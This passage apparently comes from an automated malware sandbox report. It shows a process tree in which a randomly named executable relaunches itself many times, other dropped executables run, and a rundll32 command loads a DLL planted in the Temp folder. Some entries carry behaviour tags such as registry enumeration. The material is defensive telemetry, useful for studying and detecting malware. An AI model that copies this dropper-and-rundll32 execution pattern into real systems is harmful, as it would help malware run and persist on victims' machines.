C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:7392
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:5468
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:4756
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:7116
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:4048
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:8232
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:8752
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8752 -s 284⤵
- Program crash
PID:8656
-
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:7804
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:8420
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:8520
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:9628
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:9308
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:9912
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:4840
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4840 -s 284⤵
- Program crash
PID:4804
-
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global4⤵PID:7792
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7792 -s 4525⤵
- Program crash
PID:9692
-
-
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:9532
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:8824
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:9548
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:6112
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:9356
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:7160
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:4208
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:484
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:9340
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:7004
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:2780
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:8312
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:10724
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:11236
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:9900
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:9324
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:10320
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:7704
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:7372
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:6076
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:10388
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
PID:9896
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:7672
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:4908
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:5792
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:9368
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:10908
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:10120
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:8636
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:6052
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:8616
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:5840
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:10916
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:3856
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:9600
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:6128
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:9500
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 9500 -s 284⤵
- Program crash
PID:6968
-
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:4928
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:4504
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:3432
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:5016
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:1052
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:9812
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:9420
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:2248
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:4132
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:4408
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:10488
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:5356
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:10820
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:1572
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:5736
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:10028
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:3496
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:10876
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:8948
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:1220
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:3656
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:7604
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:3184
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:2680
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:11176
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:10104
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:9772
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:8848
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:400
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:3036
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:8672
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:7596
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:2520
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:7416
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:9756
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:9428
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:2192
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:11560
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:12128
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 12128 -s 284⤵
- Program crash
PID:12112
-
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:11744
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:1044
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:12228
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:12980
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:13244
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:12900
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:1244
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:2124
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:7380
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:10532
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:13448
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:14124
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:13840
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:2552
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:10412
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:13832
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:11304
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:11032
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:12000
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:13432
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:11892
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:8944
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:8116
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:11608
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:12028
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:5624
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:12908
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:11096
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:12856
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:11816
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:8384
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:9676
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:10564
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:12244
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:10480
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:9544
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:3336
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:8060
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:9924
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:12672
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:12184
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:12036
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:14680
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:14360
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:6568
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:8108
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:12592
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:11940
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:1832
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:11808
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:13912
-
-
-
C:\Users\Admin\Documents\AuLoxTlRvhydxUG56es67Gc4.exe"C:\Users\Admin\Documents\AuLoxTlRvhydxUG56es67Gc4.exe"2⤵
- Executes dropped EXE
PID:1192 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1192 -s 2403⤵
- Executes dropped EXE
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:2924
-
-
-
C:\Users\Admin\Documents\pNVVWtaVpg3pdZOJMrCOvSMZ.exe"C:\Users\Admin\Documents\pNVVWtaVpg3pdZOJMrCOvSMZ.exe"2⤵
- Executes dropped EXE
PID:1340
-
-
C:\Users\Admin\Documents\kpvCLQHJRGwz5tmbqxPLzw5O.exe"C:\Users\Admin\Documents\kpvCLQHJRGwz5tmbqxPLzw5O.exe"2⤵
- Executes dropped EXE
PID:1388 -
